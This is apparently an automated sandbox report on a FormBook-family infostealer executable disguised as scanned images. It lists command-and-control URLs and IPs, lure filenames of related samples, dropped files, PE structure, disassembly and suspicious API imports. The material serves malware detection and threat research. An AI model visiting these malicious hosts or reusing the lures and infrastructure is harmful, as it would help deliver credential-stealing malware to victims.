http://www.prediksipreman.fyi/rpjd/	true	Avira URL Cloud: safe	unknown
http://www.livingslab.net/otgv/?wz4=mPj2soEUEFmq5Xu56Ev9ENs/GIe87AemMTFSPosGtz7M/tXNad3AOcc3teRO2drll+qYOuNJorQ/HJUWSqoYkO/lFhsMOlB8p4kTaBK5nEPe9NarMUavWdI=&OvV=2njD6f80EDOLQ8	true	Avira URL Cloud: safe	unknown
http://www.wddb97.top/p75v/?OvV=2njD6f80EDOLQ8&wz4=GLmvlUrKOeNEevY3wcyfjSkNrwRDbMR2/x32zMvR34mmT0X9ObY05SVA9W4yUMrr2Yq11ERvKU6w2wYb4X7EbFt4LfTn3Wu5NGMirqATx7GUx0yxlSOAJso=	true	Avira URL Cloud: malware	unknown
http://www.quickcommerce.cloud/rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/LgqczUnn1NrDdL/bN6nwlekL5Do//GTuaTPhPlYdtLOoB+gLN1EC4FlrA=&OvV=2njD6f80EDOLQ8	true	Avira URL Cloud: safe	unknown
http://www.wddb97.top/p75v/	true	Avira URL Cloud: malware	unknown
http://www.nexula.website/ro4w/?wz4=c7bs7cBJE/6WeNDz6y7wfs4csA5ai8mWfunIFb5NDUjHoY3en1z9O1W0OakyKWwaCum+/W1z6qbtx3tl+iJ0V9nyUJg4fcAQQsDkMDUAlXZwvkRINEDVO9c=&OvV=2njD6f80EDOLQ8	true	Avira URL Cloud: malware	unknown
http://www.livingslab.net/otgv/	true	Avira URL Cloud: safe	unknown
http://www.7wkto5nk230724z.click/yysf/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://quickcommerce.cloud/rdfj/?wz4=W22N1n9VK5BsDegKssi59d1tdmClQzQM6krhrjkO5qQUOhZ23fqPP0igRbfRb/L	verclsid.exe, 00000003.00000002.3550509142.0000000006A28000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.00000000046D8000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer	verclsid.exe, 00000003.00000002.3550509142.00000000060BC000.00000004.10000000.00040000.00000000.sdmp, zalkpCfMwtnpQo.exe, 00000007.00000002.3549816270.0000000003D6C000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
206.119.82.172	wddb97.top	United States	174	COGENT-174US	true
67.223.117.142	www.nexula.website	United States	15189	VIMRO-AS15189US	true
162.0.215.244	prediksipreman.fyi	Canada	35893	ACPCA	true
13.248.169.48	www.thesquare.world	United States	16509	AMAZON-02US	true
104.21.3.193	www.7wkto5nk230724z.click	United States	13335	CLOUDFLARENETUS	true
20.244.96.65	quickcommerce.cloud	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
38.47.233.52	2q33e.top	United States	174	COGENT-174US	true
84.32.84.32	xpremio.online	Lithuania	33922	NTT-LT-ASLT	true
3.33.130.190	scottconsults.top	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590590
Start date and time:	2025-01-14 10:23:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scanned-IMGS_from NomanGroup IDT.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@14/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 90% Number of executed functions: 44 Number of non-executed functions: 302
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 52.165.164.15, 20.109.210.53, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
206.119.82.172	fHkdf4WB7zhMcqP.exe	Get hash	malicious	FormBook	Browse	www.wddb97.top/cjue/
	wODub61gZe.exe	Get hash	malicious	FormBook	Browse	www.d97fw.top/ep96/
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.wddb97.top/a3g3/
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.wddb97.top/a3g3/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.d97fw.top/07qt/
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	www.d97fw.top/j0mp/
67.223.117.142	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	www.flikka.site/brrb/
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	www.flikka.site/brrb/
	New PO [FK4-7173].pdf.exe	Get hash	malicious	FormBook	Browse	www.maviro.xyz/hcih/
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	www.flikka.site/brrb/
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	www.jorbaq.top/saaz/
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	www.plyvik.info/ak8m/
	SecuriteInfo.com.FileRepMalware.20173.21714.exe	Get hash	malicious	FormBook	Browse	www.plyvik.info/yhso/
	INVOICES.exe	Get hash	malicious	FormBook	Browse	www.plyvik.info/ak8m/
162.0.215.244	IbRV4I7MrS.exe	Get hash	malicious	FormBook	Browse	www.prediksipreman.fyi/3lre/
	debit#U00a0note#U00a0607-36099895#U00a0#U00a0.exe	Get hash	malicious	FormBook	Browse	www.prediksipreman.fyi/fy4q/
	NF_Payment_Ref_FAN930276.exe	Get hash	malicious	FormBook	Browse	www.prediksipreman.fyi/3lre/
	18in SPA-198-2024.exe	Get hash	malicious	FormBook	Browse	www.prediksipreman.fyi/3lre/
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	www.prediksipreman.fyi/3lre/
	http://mirchmasala2go.com	Get hash	malicious	Unknown	Browse	mirchmasala2go.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.thesquare.world	Maryam Farokhi-PhD- CV-1403.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.thesquare.world	A4mmSHCUi2.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.7wkto5nk230724z.click	IMPORT PERMITS.exe	Get hash	malicious	FormBook	Browse	172.67.131.32
	draft contract for order #782334.exe	Get hash	malicious	FormBook	Browse	172.67.131.32
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	104.21.3.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VIMRO-AS15189US	ydJaT4b5N8.exe	Get hash	malicious	FormBook	Browse	67.223.118.94
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	67.223.117.169
	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.117.169
	dhl009544554961.INV.PEK.CO.041.20241115.183845.20241115.183948.34872.exe	Get hash	malicious	FormBook	Browse	67.223.117.169
	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	shipping doc_20241111.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	fHkdf4WB7zhMcqP.exe	Get hash	malicious	FormBook	Browse	67.223.118.17
	New PO [FK4-7173].pdf.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	SHIPPING DOC_20241107.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
	proforma Invoice.exe	Get hash	malicious	FormBook	Browse	67.223.117.142
ACPCA	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	162.0.209.157
	elitebotnet.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	162.0.4.79
	elitebotnet.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	162.49.96.105
	3.elf	Get hash	malicious	Unknown	Browse	162.55.163.200
	http://clumsy-sulky-helium.glitch.me/	Get hash	malicious	Unknown	Browse	162.55.133.182
	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse	162.0.209.157
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	162.0.209.189
	n2pGr8w21V.exe	Get hash	malicious	FormBook	Browse	162.0.215.33
	5by4QM3v89.exe	Get hash	malicious	FormBook	Browse	162.0.215.91
	gKvjKMCUfq.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
AMAZON-02US	Remittance.html	Get hash	malicious	Unknown	Browse	108.138.26.50
	Absa Remittance Advice.docx	Get hash	malicious	Unknown	Browse	52.94.140.208
	Absa Remittance Advice.docx	Get hash	malicious	Unknown	Browse	52.94.140.208
	5hsRaLKPV6.jar	Get hash	malicious	Branchlock Obfuscator	Browse	52.216.210.114
	5hsRaLKPV6.jar	Get hash	malicious	Branchlock Obfuscator	Browse	52.217.130.90
	https://email.lc.haxconsulting.com/c/eJx0k0tv4zgQhH-NdBk4kKgHrQMPdhI5mck78djJRaDIlsSYD4WkpLF__cJOsLvAZq_FLnbhQzWrBCdJS6-fh9_RaK9H9Muk6c9yE3LCCkjrLORGUaGJZGcd_cOMdoP0QrdnzKivt8pMGqzrRF_5fQ-EtqDZvqLOiVYDD4HEOMnxvMB5EoKiQlYKnKMtHLdv5i83BT5n4-tb-75JAbPHy6-p02-Mqp6KVv9LO9pyPE9ZwVKaZjlkgBjkRVEjHIIehTVagfakt4YPzAujw45EeRrF0RziBvIoyeskRxgwwlma0ajAPBQERSiL4jg55o2Ss2YOOYWszps4a5o6CtLoWwySdN73LkgWASoDVE7T9N-pAJXcTFoaymeOSmr3s3YQHGYDhSApG2GdrzRVECQXdyBkgHJJ_5GuqNsJ7QKUnzgEyYUGIbsvNY0644_656a874w-uqIs-lGk6Q-UFjiUrPpkKLQHq6kka1Q6vvq928YBWm7z65vVxHE3FgEq59i-jvvVs0xEw7L6_MK2IhvbP_TKJn77qF7k3TSixbC_V5cBWuI33j_fivpGtZOAqN0Zxga7eJCXr-uXzfMHlIcjgANevhv8USfN_ZM-L_Dhoeu38GTXt4sALYfFzheHl3LNy1VZjw8iQOU6QOWmvb3vrqbc9Y17WtynH9OVVkrF8qdedwDgHtt4eTkPpTn1ebm6Sd7eV-rWxvS93979kt02VOA7wwntRWisaIUm9SB3sxOQsLdmFBwskUA5M1oD88aGlvwv49CZwTIgJ_9MuHE2GbsDG3pyTPFtBE-YUdW31-YJ-Orvpo8E_RUAAP__dHE7Qw	Get hash	malicious	Unknown	Browse	18.245.31.88
	Discord.exe	Get hash	malicious	AsyncRAT	Browse	3.127.138.57
	http://locrmhelp.com	Get hash	malicious	Unknown	Browse	52.84.151.46
	https://imtcoken.im/	Get hash	malicious	Unknown	Browse	143.204.215.6
	http://www.toekan.im/	Get hash	malicious	Unknown	Browse	143.204.215.6
COGENT-174US	8e8JUOzOjR.exe	Get hash	malicious	DBatLoader	Browse	23.237.26.135
	https://urlz.fr/tJIZ	Get hash	malicious	Unknown	Browse	143.244.197.139
	3e31414a-0c65-4866-9783-41979ca0d50e.eml	Get hash	malicious	Unknown	Browse	154.26.153.101
	New Order#12125.exe	Get hash	malicious	FormBook	Browse	154.39.239.237
	http://id1223.adsalliance.xyz	Get hash	malicious	Unknown	Browse	143.244.38.136
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	149.42.52.10
	elitebotnet.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	38.189.68.123
	3.elf	Get hash	malicious	Unknown	Browse	38.220.172.156
	CSZ inquiry for MH raw material.exe	Get hash	malicious	FormBook	Browse	154.39.239.237
	trow.exe	Get hash	malicious	Unknown	Browse	154.53.43.150

Process:	C:\Windows\SysWOW64\verclsid.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\peaks

Download File

Process:	C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe
File Type:	data
Category:	dropped
Size (bytes):	287232
Entropy (8bit):	7.995079098920299
Encrypted:	true
SSDEEP:	6144:orQn/2I9aKhtl3bxYfWuLbuWfDqv2c7pUfFKNJ0a2tjuwPAcJGn:o24UtlrIWuvuYY7yMX0a8jHPAb
MD5:	10ED5D34A0330BDC9F7848B7FBA6B7A7
SHA1:	1E5599D63A3CA6FC8D1B2981E29E39EBBACEA98B
SHA-256:	D2DC5D56A99E4D6A08B9C8457679FC58E11AD1CF810CAE48AF4B623319459E47
SHA-512:	33034D70F7A4A2BD9961B2B246C9920B69ECF5FD8BA68DD164F582FEC193F121E0AC29F116D01F4DDC051B9160F07D51FF1C01930A762419060411ACAF07ABEB
Malicious:	false
Reputation:	low
Preview:	xh...XAHB..@......X6..}[I...WDI8DM95PX52NAUXAHBMWDI8DM95PX.2NA[G.FB.^.h.E....0\An1'7&:# w'(V*"M.2=.@;/u1/h...d$W (.8]R.2NAUXAH;L^.tX#..U7..R).O..x-0.S...U7./..i8&..$4,tX#.95PX52NA..AH.LVD?.U/95PX52NA.XCIIL\DIh@M95PX52NA.LAHB]WDIX@M95.X5"NAUZAHDMWDI8DM?5PX52NAU8EHBOWDI8DM;5..52^AUHAHBMGDI(DM95PX%2NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDgL!5M5PX.}JAUHAHB.SDI(DM95PX52NAUXAHbMW$I8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX52NAUXAHBMWDI8DM95PX

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.4188758028769195
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Scanned-IMGS_from NomanGroup IDT.scr.exe
File size:	1'613'824 bytes
MD5:	17cbb82b7db7a77df6507dd32af10563
SHA1:	816fc79a0d8dc1ea493779e01f21f99c00a9229d
SHA256:	744a3efa374159a40ea07cf1c6a295f40fef90685421d20ceda619847dbe6165
SHA512:	0917ff1f5eca9d620e3829ccbaed79f892c85195917fc420077e5d7004fd8d5cdd71cbc2abd6a27d672f6fe98947faf6aec5a797dd5de64cb1fbe09481621747
SSDEEP:	24576:2qDEvCTbMWu7rQYlBQcBiT6rprG8aKXAwXiEoFKrQO8wkoPuGwQVZqc/ByR61UFl:2TvC/MTQYxsWR7aKfXZr0pQuAW+sr
TLSH:	1075E0027381C062FF9B92734B5AF6115BBC69660123A62F13A81DBDFD701B1563E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6785B72C [Tue Jan 14 01:00:28 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F05A8839483h
jmp 00007F05A8838D8Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F05A8838F6Dh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F05A8838F3Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F05A883BB2Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F05A883BB78h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F05A883BB61h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0xb35ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x188000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0xb35ec	0xb3600	591bed869cb6d434460ffbe7270704eb	False	0.963825675087108	data	7.962847579133983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x188000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xd4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xd4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xd5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xd6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xd69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xd8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xda038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xda4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xda4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xdaa84	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xdb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xdb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xdbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xdc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xdc7b8	0xaa8b4	data			1.0003163705285822
RT_GROUP_ICON	0x18706c	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x1870e4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1870f8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x18710c	0x14	data	English	Great Britain	1.25
RT_VERSION	0x187120	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1871fc	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, 